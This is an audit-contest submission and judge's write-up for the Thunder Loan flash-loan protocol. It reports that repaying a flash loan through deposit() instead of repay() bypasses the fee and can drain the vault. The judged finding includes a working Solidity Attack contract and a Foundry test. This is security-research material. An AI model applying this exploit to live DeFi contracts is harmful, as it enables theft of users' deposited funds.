Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash Loan Repayment Bypass via deposit()

Root + Impact

An attacker can obtain flash loans while paying no economic fee.
Instead of repaying through repay(), the attacker deposits the borrowed assets back into the protocol through deposit(). This restores the protocol balance, satisfies the repayment check, and simultaneously mints AssetTokens representing ownership of those deposited assets.
Those AssetTokens can later be redeemed, allowing the attacker to recover the entire repayment amount (including what should have been the flash loan fee). The protocol therefore receives no permanent compensation for providing liquidity.
This completely breaks the intended flash loan fee mechanism.

Description

In the https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L180, the flash loan repayment verification only checks the final balance of the AssetToken vault.
https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L212
https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L213
https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L214
https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L215
The contract never verifies how those tokens returned. During the callback the borrower is free to call https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L147, instead of https://github.com/CodeHawks-Contests/ai-thunder-loan/blob/035f6dc903d7ac12c4ccf6d267a09810d3d64ef8/src/protocol/ThunderLoan.sol#L219.
The deposit(...) performs the following sequence:
assetToken.mint(msg.sender, mintAmount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
Therefore all these are possible:
(i). borrowed funds are transferred back into the vault
(ii). repayment balance check succeeds
(iii). attacker receives AssetTokens
(iv). attacker later redeems those AssetTokens
Economically the protocol never earns the flash loan fee. The protocol only observes the vault balance increasing, but fails to distinguish between repayment or liquidity provision. These two operations have fundamentally different accounting semantics.
// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

Highly Likely, the attack requires no privileged access. Any flash loan receiver contract can perform it.

Impact:

Proof of Concept

Assume
Vault liquidity = 1,000 ETH
Flash loan amount = 100 ETH
Fee = 0.3 ETH
Step 1
Attacker requests
flashloan(100 ETH)
Vault now holds
900 ETH
Step 2
Inside
executeOperation()
the attacker performs
approve(thunderLoan, 100.3 ETH);
thunderLoan.deposit(token, 100.3 ETH);
instead of
repay()
Deposit:
transfers 100.3 ETH into vault
mints AssetTokens worth 100.3 ETH
Vault balance becomes
1000.3 ETH
which satisfies
endingBalance >= startingBalance + fee
Step 3
Flash loan completes successfully.
No revert occurs.
Attacker now owns AssetTokens representing
100.3 ETH
Step 4
Immediately afterwards
redeem(allShares)
returns
100.3 ETH
The protocol permanently loses the flash loan fee because the repayment merely became a liquidity deposit.

Recommended Mitigation

Repayment should only occur through a dedicated accounting path.
Possible mitigations include:
Require repayment exclusively through repay().
Record the amount repaid during the flash loan.
Reject deposits while s_currentlyFlashLoaning[token] == true.
Maintain separate accounting for liquidity additions versus loan repayment.
Verify that the borrower has repaid through protocol state rather than relying solely on vault balances.
if s_currentlyFlashLoaning[token] == true revert LoanInProgress() + add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!